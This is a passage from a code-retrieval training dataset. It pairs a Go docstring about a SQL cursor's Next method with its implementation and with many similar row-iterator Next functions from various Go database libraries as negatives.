ret[1].(error)\n\treturn ret0, ret1\n}", "func (o *GetPracticesOK) SetPayload(payload *models.GotPractices) {\n\to.Payload = payload\n}" ]
[ "0.6618266", "0.64008063", "0.6306574", "0.62035364", "0.60027635", "0.59607434", "0.5867978", "0.58472276", "0.583972", "0.5715195", "0.5672997", "0.56301147", "0.5529861", "0.5494126", "0.549225", "0.5487802", "0.54299784", "0.5413047", "0.5307259", "0.5278255", "0.52716756", "0.5259211", "0.5235723", "0.5228819", "0.5210605", "0.52068824", "0.5182797", "0.5174255", "0.5170905", "0.5153905", "0.5075036", "0.5074673", "0.5057527", "0.50433683", "0.5037638", "0.50161034", "0.5004373", "0.50014675", "0.5000749", "0.4980957", "0.49775997", "0.49747452", "0.49723902", "0.49629167", "0.4952304", "0.49421936", "0.4932163", "0.49194366", "0.49177396", "0.49057853", "0.4905392", "0.4903005", "0.49018285", "0.4889912", "0.4885734", "0.48776573", "0.48768517", "0.48703393", "0.48685727", "0.48617736", "0.48569047", "0.48515096", "0.48484436", "0.48481074", "0.48410487", "0.4840274", "0.48284924", "0.48279157", "0.48082954", "0.4803847", "0.47850388", "0.47847724", "0.47792023", "0.4774286", "0.47687843", "0.47633258", "0.47573256", "0.47524557", "0.47502613", "0.47477382", "0.47353023", "0.4727756", "0.471712", "0.4711979", "0.470782", "0.47043228", "0.47042838", "0.47000542", "0.46970946", "0.46953312", "0.4690476", "0.468917", "0.46866646", "0.46855304", "0.4682768", "0.46783304", "0.46740577", "0.4673016", "0.4672897", "0.4667636" ]
0.7621819
0
Next returns the values of the next row in the result set. Returns nil if there are no more rows in the result set. If an error occurs, will panic with the error.
func (r sqlCursor) Next() map[string]interface{} { var err error if r.rows.Next() { if err = r.rows.Scan(r.columnValueReceivers...); err != nil { log.Panic(err) } values := make(map[string]interface{}, len(r.columnReceivers)) for j, vr := range r.columnReceivers { values[r.columnNames[j]] = vr.Unpack(r.columnTypes[j]) } if r.builder != nil { v2 := r.builder.unpackResult([]map[string]interface{}{values}) return v2[0] } else { return values } } else { if err = r.rows.Err(); err != nil { log.Panic(err) } return nil } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (r *Recordset) Next() (row *ast.Row, err error) {\n\tif r.cursor == len(r.rows) {\n\t\treturn\n\t}\n\trow = &ast.Row{Data: r.rows[r.cursor]}\n\tr.cursor++\n\treturn\n}", "func (qi *QueryIterator) Next() ([]interface{}, error) {\n\tqi.processedRows++\n\tqi.rowsIndex++\n\tif int(qi.rowsIndex) >= len(qi.Rows) {\n\t\terr := qi.fetchPage()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trow := qi.Rows[qi.rowsIndex]\n\tfields := qi.schema.Fields\n\tvar values = make([]interface{}, 0)\n\tfor i, cell := range row.F {\n\t\tvalue := toValue(cell.V, fields[i])\n\t\tvalues = append(values, value)\n\t}\n\treturn values, nil\n}", "func (rows *Rows) Next() ([]string, error) {\r\n\tif rows.status == false {\r\n\t\treturn nil, errors.New(\"Cursor not opened.\")\r\n\t}\r\n\r\n\t// start cursor\r\n\trows.dbi.createOperation(\"DB_FETCH_RECORD\")\r\n\trows.dbi.data.curId = rows.Curid\r\n\t// data\r\n\trows.dbi.data.commPrepare()\r\n\t// communicate\r\n\tif rows.dbi.data.comm() == false {\r\n\t\trows.dbi.Close()\r\n\t\trows.status = false\r\n\t\treturn nil, errors.New(rows.dbi.Sqlerrm)\r\n\t}\r\n\t// parse\r\n\trows.dbi.data.commParse()\r\n\trows.dbi.parseError()\r\n\r\n\tif rows.dbi.Sqlcode < 0 {\r\n\t\treturn nil, errors.New(rows.dbi.Sqlerrm)\r\n\t}\r\n\r\n\treturn rows.dbi.data.outVar, nil\r\n}", "func (e *TableReaderExecutor) Next() (*Row, error) {\n\tfor {\n\t\t// Get partial result.\n\t\tif e.partialResult == nil {\n\t\t\tvar err error\n\t\t\te.partialResult, err = e.result.Next()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Trace(err)\n\t\t\t}\n\t\t\tif e.partialResult == nil {\n\t\t\t\t// Finished.\n\t\t\t\treturn nil, nil\n\t\t\t}\n\t\t}\n\t\t// Get a row from partial result.\n\t\th, rowData, err := e.partialResult.Next()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tif rowData == nil {\n\t\t\t// Finish the current partial result and get the next one.\n\t\t\te.partialResult.Close()\n\t\t\te.partialResult = nil\n\t\t\tcontinue\n\t\t}\n\t\tvalues := make([]types.Datum, e.schema.Len())\n\t\terr = codec.SetRawValues(rowData, values)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\terr = decodeRawValues(values, e.schema, e.ctx.GetSessionVars().GetTimeZone())\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\treturn resultRowToRow(e.table, h, values, e.asName), nil\n\t}\n}", "func (r *result) Next(dest []driver.Value) error {\n\tif r.data == nil {\n\t\tif err := r.readNext(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfor i := 0; i < len(r.columns); i++ {\n\t\tkey := r.columns[i]\n\t\tval := r.data[key]\n\t\tdest[i] = val\n\t}\n\tr.data = nil\n\tr.offset++\n\treturn nil\n}", "func (qr *queryResult) Next(dest []driver.Value) error {\n\tif qr.pos >= qr.numRow() {\n\t\tif qr.attributes.LastPacket() {\n\t\t\treturn io.EOF\n\t\t}\n\t\tif err := qr.conn._fetchNext(context.Background(), qr); err != nil {\n\t\t\tqr.lastErr = err //fieldValues and attrs are nil\n\t\t\treturn err\n\t\t}\n\t\tif qr.numRow() == 0 {\n\t\t\treturn io.EOF\n\t\t}\n\t\tqr.pos = 0\n\t}\n\n\tqr.copyRow(qr.pos, dest)\n\terr := qr.decodeErrors.RowError(qr.pos)\n\tqr.pos++\n\n\tfor _, v := range dest {\n\t\tif v, ok := v.(p.LobDecoderSetter); ok {\n\t\t\tv.SetDecoder(qr.conn.decodeLob)\n\t\t}\n\t}\n\treturn err\n}", "func (qr *queryResult) Next(dest []driver.Value) error {\n\tif qr.pos >= qr.numRow() {\n\t\tif qr.attributes.LastPacket() {\n\t\t\treturn io.EOF\n\t\t}\n\t\tif err := qr.conn._fetchNext(qr); err != nil {\n\t\t\tqr.lastErr = err //fieldValues and attrs are nil\n\t\t\treturn err\n\t\t}\n\t\tif qr.numRow() == 0 {\n\t\t\treturn io.EOF\n\t\t}\n\t\tqr.pos = 0\n\t}\n\n\tqr.copyRow(qr.pos, dest)\n\terr := qr.decodeErrors.RowError(qr.pos)\n\tqr.pos++\n\n\tfor _, v := range dest {\n\t\tif v, ok := v.(p.LobDecoderSetter); ok {\n\t\t\tv.SetDecoder(qr.conn.decodeLob)\n\t\t}\n\t}\n\treturn err\n}", "func (itr *doltTableRowIter) Next() (sql.Row, error) {\n\treturn itr.reader.ReadSqlRow(itr.ctx)\n}", "func (result *Result) Next(txn Transaction) ([]byte, error) {\n\tif !result.HasNext() {\n\t\treturn nil, errors.New(\"no more values\")\n\t}\n\tif result.index == len(result.pageValues) {\n\t\terr := result.getNextPage()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn result.Next(txn)\n\t}\n\tionBinary := result.pageValues[result.index].IonBinary\n\tresult.index++\n\treturn ionBinary, nil\n}", "func (e *IndexReaderExecutor) Next() (*Row, error) {\n\tfor {\n\t\t// Get partial result.\n\t\tif e.partialResult == nil {\n\t\t\tvar err error\n\t\t\te.partialResult, err = e.result.Next()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Trace(err)\n\t\t\t}\n\t\t\tif e.partialResult == nil {\n\t\t\t\t// Finished.\n\t\t\t\treturn nil, nil\n\t\t\t}\n\t\t}\n\t\t// Get a row from partial result.\n\t\th, rowData, err := e.partialResult.Next()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tif rowData == nil {\n\t\t\t// Finish the current partial result and get the next one.\n\t\t\te.partialResult.Close()\n\t\t\te.partialResult = nil\n\t\t\tcontinue\n\t\t}\n\t\tvalues := make([]types.Datum, e.schema.Len())\n\t\terr = codec.SetRawValues(rowData, values)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\terr = decodeRawValues(values, e.schema, e.ctx.GetSessionVars().GetTimeZone())\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\treturn resultRowToRow(e.table, h, values, e.asName), nil\n\t}\n}", "func (r *QueryResult) Next(dest []driver.Value) error {\n\tif len(r.page.Columns) == 0 {\n\t\tr.close()\n\t\treturn io.EOF\n\t}\n\trowCount := int32(len(r.page.Columns[0]))\n\tif r.index >= rowCount {\n\t\tif r.page.Last {\n\t\t\tr.close()\n\t\t\treturn io.EOF\n\t\t}\n\t\tctx, cancel := r.contextWithCancel()\n\t\tdefer cancel()\n\t\tif err := r.fetchNextPage(ctx); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfor i := 0; i < len(r.page.Columns); i++ {\n\t\tcol := r.page.Columns[i]\n\t\t// TODO: find out the reason for requiring the following fix\n\t\tif len(col) <= int(r.index) {\n\t\t\tr.close()\n\t\t\treturn io.EOF\n\t\t}\n\t\tdest[i] = col[r.index]\n\t}\n\tr.index++\n\treturn nil\n}", "func (i *couchDBResultsIterator) Next() (bool, error) {\n\tnextCallResult := i.resultRows.Next()\n\n\t// Kivik only guarantees that this value will be set after all the rows have been iterated through.\n\twarningMsg := i.resultRows.Warning()\n\n\tif warningMsg != \"\" {\n\t\tlogger.Warnf(warningMsg)\n\t}\n\n\terr := i.resultRows.Err()\n\tif err != nil {\n\t\treturn nextCallResult, fmt.Errorf(failureDuringIterationOfResultRows, err)\n\t}\n\n\treturn nextCallResult, nil\n}", "func (tr *tableReader) Next() (rowenc.EncDatumRow, *execinfrapb.ProducerMetadata) {\n\tfor tr.State == execinfra.StateRunning {\n\t\t// Check if it is time to emit a progress update.\n\t\tif tr.rowsRead >= tableReaderProgressFrequency {\n\t\t\tmeta := execinfrapb.GetProducerMeta()\n\t\t\tmeta.Metrics = execinfrapb.GetMetricsMeta()\n\t\t\tmeta.Metrics.RowsRead = tr.rowsRead\n\t\t\ttr.rowsRead = 0\n\t\t\treturn nil, meta\n\t\t}\n\n\t\trow, _, _, err := tr.fetcher.NextRow(tr.Ctx)\n\t\tif row == nil || err != nil {\n\t\t\ttr.MoveToDraining(err)\n\t\t\tbreak\n\t\t}\n\n\t\t// When tracing is enabled, number of rows read is tracked twice (once\n\t\t// here, and once through InputStats). This is done so that non-tracing\n\t\t// case can avoid tracking of the stall time which gives a noticeable\n\t\t// performance hit.\n\t\ttr.rowsRead++\n\t\tif outRow := tr.ProcessRowHelper(row); outRow != nil {\n\t\t\treturn outRow, nil\n\t\t}\n\t}\n\treturn nil, tr.DrainHelper()\n}", "func (e *HashSemiJoinExec) Next() (*Row, error) {\n\tif !e.prepared {\n\t\tif err := e.prepare(); err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t}\n\n\tfor {\n\t\tbigRow, match, err := e.fetchBigRow()\n\t\tif bigRow == nil || err != nil {\n\t\t\treturn bigRow, errors.Trace(err)\n\t\t}\n\t\tresultRows, err := e.doJoin(bigRow, match)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tif len(resultRows) > 0 {\n\t\t\treturn resultRows[0], nil\n\t\t}\n\t}\n}", "func (ps *projectSetProcessor) Next() (rowenc.EncDatumRow, *execinfrapb.ProducerMetadata) {\n\tfor ps.State == execinfra.StateRunning {\n\t\tif err := ps.cancelChecker.Check(); err != nil {\n\t\t\tps.MoveToDraining(err)\n\t\t\treturn nil, ps.DrainHelper()\n\t\t}\n\n\t\t// Start of a new row of input?\n\t\tif !ps.inputRowReady {\n\t\t\t// Read the row from the source.\n\t\t\trow, meta, err := ps.nextInputRow()\n\t\t\tif meta != nil {\n\t\t\t\tif meta.Err != nil {\n\t\t\t\t\tps.MoveToDraining(nil /* err */)\n\t\t\t\t}\n\t\t\t\treturn nil, meta\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tps.MoveToDraining(err)\n\t\t\t\treturn nil, ps.DrainHelper()\n\t\t\t}\n\t\t\tif row == nil {\n\t\t\t\tps.MoveToDraining(nil /* err */)\n\t\t\t\treturn nil, ps.DrainHelper()\n\t\t\t}\n\n\t\t\t// Keep the values for later.\n\t\t\tcopy(ps.rowBuffer, row)\n\t\t\tps.inputRowReady = true\n\t\t}\n\n\t\t// Try to find some data on the generator side.\n\t\tnewValAvail, err := ps.nextGeneratorValues()\n\t\tif err != nil {\n\t\t\tps.MoveToDraining(err)\n\t\t\treturn nil, ps.DrainHelper()\n\t\t}\n\t\tif newValAvail {\n\t\t\tif outRow := ps.ProcessRowHelper(ps.rowBuffer); outRow != nil {\n\t\t\t\treturn outRow, nil\n\t\t\t}\n\t\t} else {\n\t\t\t// The current batch of SRF values was exhausted. Advance\n\t\t\t// to the next input row.\n\t\t\tps.inputRowReady = false\n\t\t}\n\t}\n\treturn nil, ps.DrainHelper()\n}", "func (itr *doltTableRowIter) Next() (sql.Row, error) {\n\tkey, val, err := itr.nomsIter.Next(itr.ctx)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif key == nil && val == nil {\n\t\treturn nil, io.EOF\n\t}\n\n\tkeySl, err := key.(types.Tuple).AsSlice()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif itr.end != nil {\n\t\tisLess, err := keySl.Less(itr.nbf, itr.end)\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif !isLess {\n\t\t\treturn nil, io.EOF\n\t\t}\n\t}\n\n\tvalSl, err := val.(types.Tuple).AsSlice()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sqlRowFromNomsTupleValueSlices(keySl, valSl, itr.table.sch)\n}", "func (i *blockIter) Next() (sql.Row, error) {\n\treturn i.internalIter.Next()\n}", "func (n *noopProcessor) Next() (rowenc.EncDatumRow, *execinfrapb.ProducerMetadata) {\n\tfor n.State == execinfra.StateRunning {\n\t\trow, meta := n.input.Next()\n\n\t\tif meta != nil {\n\t\t\tif meta.Err != nil {\n\t\t\t\tn.MoveToDraining(nil /* err */)\n\t\t\t}\n\t\t\treturn nil, meta\n\t\t}\n\t\tif row == nil {\n\t\t\tn.MoveToDraining(nil /* err */)\n\t\t\tbreak\n\t\t}\n\n\t\tif outRow := n.ProcessRowHelper(row); outRow != nil {\n\t\t\treturn outRow, nil\n\t\t}\n\t}\n\treturn nil, n.DrainHelper()\n}", "func (e *HashJoinExec) Next() (*Row, error) {\n\tif !e.prepared {\n\t\tif err := e.prepare(); err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t}\n\ttxnCtx := e.ctx.GoCtx()\n\tif e.cursor >= len(e.rows) {\n\t\tvar result *execResult\n\t\tselect {\n\t\tcase tmp, ok := <-e.resultCh:\n\t\t\tif !ok {\n\t\t\t\treturn nil, nil\n\t\t\t}\n\t\t\tresult = tmp\n\t\t\tif result.err != nil {\n\t\t\t\te.finished.Store(true)\n\t\t\t\treturn nil, errors.Trace(result.err)\n\t\t\t}\n\t\tcase <-txnCtx.Done():\n\t\t\treturn nil, nil\n\t\t}\n\t\tif len(result.rows) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\t\te.rows = result.rows\n\t\te.cursor = 0\n\t}\n\trow := e.rows[e.cursor]\n\te.cursor++\n\treturn row, nil\n}", "func (pr *newPartialResult) Next() (data []types.Datum, err error) {\n\tchunk := pr.getChunk()\n\tif chunk == nil {\n\t\treturn nil, nil\n\t}\n\tdata = make([]types.Datum, pr.rowLen)\n\tfor i := 0; i < pr.rowLen; i++ {\n\t\tvar l []byte\n\t\tl, chunk.RowsData, err = codec.CutOne(chunk.RowsData)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tdata[i].SetRaw(l)\n\t}\n\treturn\n}", "func (ds *Dataset) Next() ([]float64, error) {\n\tds.lock.Lock()\n\tdefer ds.lock.Unlock()\n\tif ds.Mtx == nil {\n\t\treturn nil, ErrNoData\n\t}\n\tr, _ := ds.Mtx.Dims()\n\tif ds.index >= r {\n\t\tds.index = 0\n\t\treturn nil, io.EOF\n\t}\n\trows := ds.Mtx.RawRowView(ds.index)\n\tds.index++\n\treturn rows, nil\n}", "func (s *server) Next() Data {\n\tpage := s.row / s.pageSize\n\tif page != s.currentPage {\n\t\ts.currentPage = page\n\t\ts.getPage(page)\n\t}\n\tif s.row > s.maxRow || s.data == nil {\n\t\treturn nil\n\t}\n\tif len(s.data) == 0 {\n\t\treturn nil\n\t}\n\tretval := s.data[s.row%s.pageSize].(map[string]interface{})\n\ts.row++\n\treturn retval\n}", "func (pr *PgRows) NextResultSet() error {\n\treturn nil\n}", "func (e *IndexLookUpExecutor) Next() (*Row, error) {\n\tfor {\n\t\tif e.taskCurr == nil {\n\t\t\ttaskCurr, ok := <-e.taskChan\n\t\t\tif !ok {\n\t\t\t\treturn nil, e.tasksErr\n\t\t\t}\n\t\t\te.taskCurr = taskCurr\n\t\t}\n\t\trow, err := e.taskCurr.getRow()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tif row != nil {\n\t\t\treturn row, nil\n\t\t}\n\t\te.taskCurr = nil\n\t}\n}", "func (d *Decoder) Next() (*Row, error) {\n\trecord, err := d.reader.Read()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\td.rowNumber++\n\n\treturn &Row{\n\t\td: d,\n\t\trecord: record,\n\t}, nil\n}", "func (r *newSelectResult) Next() (NewPartialResult, error) {\n\tre := <-r.results\n\tif re.err != nil {\n\t\treturn nil, errors.Trace(re.err)\n\t}\n\tif re.result == nil {\n\t\treturn nil, nil\n\t}\n\tpr := &newPartialResult{}\n\tpr.rowLen = r.rowLen\n\terr := pr.unmarshal(re.result)\n\treturn pr, errors.Trace(err)\n}", "func (r RowsImpl) Next() bool {\n\treturn r.R.Next()\n}", "func (e *ApplyJoinExec) Next() (*Row, error) {\n\tfor {\n\t\tif e.cursor < len(e.resultRows) {\n\t\t\trow := e.resultRows[e.cursor]\n\t\t\te.cursor++\n\t\t\treturn row, nil\n\t\t}\n\t\tbigRow, match, err := e.join.fetchBigRow()\n\t\tif bigRow == nil || err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tfor _, col := range e.outerSchema {\n\t\t\t*col.Data = bigRow.Data[col.Index]\n\t\t}\n\t\terr = e.join.prepare()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\te.resultRows, err = e.join.doJoin(bigRow, match)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\te.cursor = 0\n\t}\n}", "func (r *sqlRows) Next(values []driver.Value) error {\n\terr := r.rows.Next(values)\n\tif err == driver.ErrBadConn {\n\t\tr.conn.Close()\n\t}\n\tfor i, v := range values {\n\t\tif b, ok := v.([]byte); ok {\n\t\t\tvalues[i] = append([]byte{}, b...)\n\t\t}\n\t}\n\treturn err\n}", "func (cr *callResult) NextResultSet() error { return io.EOF }", "func (r *rows) Next() bool {\n\treturn r.rows.Next()\n}", "func (r *Rows) Next(dest []driver.Value) error {\nagain:\n\trow, err := r.rows.Next(r.ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(row) == 0 {\n\t\treturn nil\n\t}\n\n\tif _, ok := row[0].(types.OkResult); ok {\n\t\t// skip OK results\n\t\tgoto again\n\t}\n\n\tfor i := range row {\n\t\tdest[i] = r.convert(i, row[i])\n\t}\n\treturn nil\n}", "func (rows *Rows) Next(dest []driver.Value) error {\n\tif rows.current >= len(rows.resultSet.Rows) {\n\t\treturn io.EOF\n\t}\n\n\trow := rows.resultSet.Rows[rows.current]\n\tfor i, d := range row.Data {\n\t\tdest[i] = *d.VarCharValue\n\t}\n\n\trows.current++\n\treturn nil\n}", "func (qr *queryResult) NextResultSet() error { return io.EOF }", "func (sv *sorterValues) NextRow() sqlbase.EncDatumRow {\n\tif len(sv.rows) == 0 {\n\t\treturn nil\n\t}\n\n\tx := heap.Pop(sv)\n\treturn *x.(*sqlbase.EncDatumRow)\n}", "func (f *filtererProcessor) Next() (rowenc.EncDatumRow, *execinfrapb.ProducerMetadata) {\n\tfor f.State == execinfra.StateRunning {\n\t\trow, meta := f.input.Next()\n\n\t\tif meta != nil {\n\t\t\tif meta.Err != nil {\n\t\t\t\tf.MoveToDraining(nil /* err */)\n\t\t\t}\n\t\t\treturn nil, meta\n\t\t}\n\t\tif row == nil {\n\t\t\tf.MoveToDraining(nil /* err */)\n\t\t\tbreak\n\t\t}\n\n\t\t// Perform the actual filtering.\n\t\tpasses, err := f.filter.EvalFilter(row)\n\t\tif err != nil {\n\t\t\tf.MoveToDraining(err)\n\t\t\tbreak\n\t\t}\n\t\tif passes {\n\t\t\tif outRow := f.ProcessRowHelper(row); outRow != nil {\n\t\t\t\treturn outRow, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, f.DrainHelper()\n}", "func (it *RowIterator) Next() (*channelpb.Row, error) {\n\tvar item *channelpb.Row\n\tif err := it.nextFunc(); err != nil {\n\t\treturn item, err\n\t}\n\titem = it.items[0]\n\tit.items = it.items[1:]\n\treturn item, nil\n}", "func (result *BufferedResult) Next() ([]byte, error) {\n\tif !result.HasNext() {\n\t\treturn nil, errors.New(\"no more values\")\n\t}\n\tionBinary := result.values[result.index]\n\tresult.index++\n\treturn ionBinary, nil\n}", "func (c *CSVInterpolator) NextRow() ([]string, error) {\n\tc.row++\n\trowsToGet := c.numRows()\n\n\trows, err := c.rp.GetRows(c.rowToStartWith(), rowsToGet)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif rowsToGet != rowsNeededToInterpolate {\n\t\trows = [][]string{nil, rows[0], rows[1]}\n\t}\n\n\tif rows[1] == nil {\n\t\treturn nil, io.EOF\n\t}\n\n\treturn MiddleRow(rows, c.decimalPlaces), nil\n}", "func (rs *rowSets) Next(dest []driver.Value) error {\n\treturn rs.sets[rs.pos].Next(dest)\n}", "func (m *MssqlRowReader) Next() bool {\n\tif m.NextFunc != nil {\n\t\treturn m.NextFunc()\n\t}\n\tnext := m.Cursor.Next()\n\tif next {\n\t\tcolumnNames, err := m.Cursor.Columns()\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tm.columns = make([]interface{}, len(columnNames))\n\t\tcolumnPointers := make([]interface{}, len(columnNames))\n\t\tfor i := 0; i < len(columnNames); i++ {\n\t\t\tcolumnPointers[i] = &m.columns[i]\n\t\t}\n\t\tif err := m.Cursor.Scan(columnPointers...); err != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn next\n}", "func (r rowsRes) Next(dest []driver.Value) error {\n\terr := r.my.ScanRow(r.row)\n\tif err != nil {\n\t\treturn errFilter(err)\n\t}\n\tfor i, col := range r.row {\n\t\tif col == nil {\n\t\t\tdest[i] = nil\n\t\t\tcontinue\n\t\t}\n\t\tswitch c := col.(type) {\n\t\tcase time.Time:\n\t\t\tdest[i] = c\n\t\t\tcontinue\n\t\tcase mysql.Timestamp:\n\t\t\tdest[i] = c.Time\n\t\t\tcontinue\n\t\tcase mysql.Date:\n\t\t\tdest[i] = c.Localtime()\n\t\t\tcontinue\n\t\t}\n\t\tv := reflect.ValueOf(col)\n\t\tswitch v.Kind() {\n\t\tcase reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t// this contains time.Duration to\n\t\t\tdest[i] = v.Int()\n\t\tcase reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\tu := v.Uint()\n\t\t\tif u > math.MaxInt64 {\n\t\t\t\tpanic(\"Value to large for int64 type\")\n\t\t\t}\n\t\t\tdest[i] = int64(u)\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tdest[i] = v.Float()\n\t\tcase reflect.Slice:\n\t\t\tif v.Type().Elem().Kind() == reflect.Uint8 {\n\t\t\t\tdest[i] = v.Interface().([]byte)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfallthrough\n\t\tdefault:\n\t\t\tpanic(fmt.Sprint(\"Unknown type of column: \", v.Type()))\n\t\t}\n\t}\n\treturn nil\n}", "func (r *boltRows) NextNeo() ([]interface{}, map[string]interface{}, error) {\n\tif r.closed {\n\t\treturn nil, nil, errors.New(\"Rows are already closed\")\n\t}\n\n\tif !r.consumed {\n\t\tr.consumed = true\n\t\tif err := r.statement.conn.sendPullAll(); err != nil {\n\t\t\tr.finishedConsume = true\n\t\t\treturn nil, nil, err\n\t\t}\n\t}\n\n\trespInt, err := r.statement.conn.consume()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tswitch resp := respInt.(type) {\n\tcase messages.SuccessMessage:\n\t\tlog.Infof(\"Got success message: %#v\", resp)\n\t\tr.finishedConsume = true\n\t\treturn nil, resp.Metadata, io.EOF\n\tcase messages.RecordMessage:\n\t\tlog.Infof(\"Got record message: %#v\", resp)\n\t\treturn resp.Fields, nil, nil\n\tdefault:\n\t\treturn nil, nil, errors.New(\"Unrecognized response type getting next query row: %#v\", resp)\n\t}\n}", "func (rows *Rows) Next() bool {\n\tif rows.closed {\n\t\treturn false\n\t}\n\n\trows.rowCount++\n\trows.columnIdx = 0\n\trows.vr = ValueReader{}\n\n\tfor {\n\t\tt, r, err := rows.conn.rxMsg()\n\t\tif err != nil {\n\t\t\trows.Fatal(err)\n\t\t\treturn false\n\t\t}\n\n\t\tswitch t {\n\t\tcase readyForQuery:\n\t\t\trows.conn.rxReadyForQuery(r)\n\t\t\trows.close()\n\t\t\treturn false\n\t\tcase dataRow:\n\t\t\tfieldCount := r.readInt16()\n\t\t\tif int(fieldCount) != len(rows.fields) {\n\t\t\t\trows.Fatal(ProtocolError(fmt.Sprintf(\"Row description field count (%v) and data row field count (%v) do not match\", len(rows.fields), fieldCount)))\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\trows.mr = r\n\t\t\treturn true\n\t\tcase commandComplete:\n\t\tcase bindComplete:\n\t\tdefault:\n\t\t\terr = rows.conn.processContextFreeMsg(t, r)\n\t\t\tif err != nil {\n\t\t\t\trows.Fatal(err)\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n}", "func (r *boltRows) Next(dest []driver.Value) error {\n\tdata, _, err := r.NextNeo()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor i, item := range data {\n\t\tswitch item := item.(type) {\n\t\tcase []interface{}, map[string]interface{}, graph.Node, graph.Path, graph.Relationship, graph.UnboundRelationship:\n\t\t\tdest[i], err = encoding.Marshal(item)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\tdest[i], err = driver.DefaultParameterConverter.ConvertValue(item)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n\n}", "func (r *rows) Next(dest []driver.Value) (err error) {\n\tif trace {\n\t\tdefer func() {\n\t\t\ttracer(r, \"Next(%v): %v\", dest, err)\n\t\t}()\n\t}\n\trc := r.rc0\n\tif r.doStep {\n\t\tif rc, err = r.step(r.pstmt); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tr.doStep = true\n\n\tswitch rc {\n\tcase bin.XSQLITE_ROW:\n\t\tif g, e := len(dest), len(r.columns); g != e {\n\t\t\treturn fmt.Errorf(\"Next(): have %v destination values, expected %v\", g, e)\n\t\t}\n\n\t\tfor i := range dest {\n\t\t\tct, err := r.columnType(i)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tswitch ct {\n\t\t\tcase bin.XSQLITE_INTEGER:\n\t\t\t\tv, err := r.columnInt64(i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdest[i] = v\n\t\t\tcase bin.XSQLITE_FLOAT:\n\t\t\t\tv, err := r.columnDouble(i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdest[i] = v\n\t\t\tcase bin.XSQLITE_TEXT:\n\t\t\t\tv, err := r.columnText(i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdest[i] = v\n\t\t\tcase bin.XSQLITE_BLOB:\n\t\t\t\tv, err := r.columnBlob(i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdest[i] = v\n\t\t\tcase bin.XSQLITE_NULL:\n\t\t\t\tdest[i] = nil\n\t\t\tdefault:\n\t\t\t\tpanic(\"internal error\")\n\t\t\t}\n\t\t}\n\t\treturn nil\n\tcase bin.XSQLITE_DONE:\n\t\treturn io.EOF\n\tdefault:\n\t\treturn r.errstr(int32(rc))\n\t}\n}", "func (c *combinedEngineCursor) Next() (int64, interface{}) {\n\treturn c.read()\n}", "func (r *eventResult) Next(\n\tctx context.Context,\n) (persistence.Event, bool, error) {\n\tif r.rows.Next() {\n\t\tev := persistence.Event{\n\t\t\tEnvelope: &envelopespec.Envelope{\n\t\t\t\tSourceApplication: &envelopespec.Identity{},\n\t\t\t\tSourceHandler: &envelopespec.Identity{},\n\t\t\t},\n\t\t}\n\n\t\terr := r.driver.ScanEvent(r.rows, &ev)\n\n\t\treturn ev, true, err\n\t}\n\n\treturn persistence.Event{}, false, r.rows.Err()\n}", "func (cr *callResult) 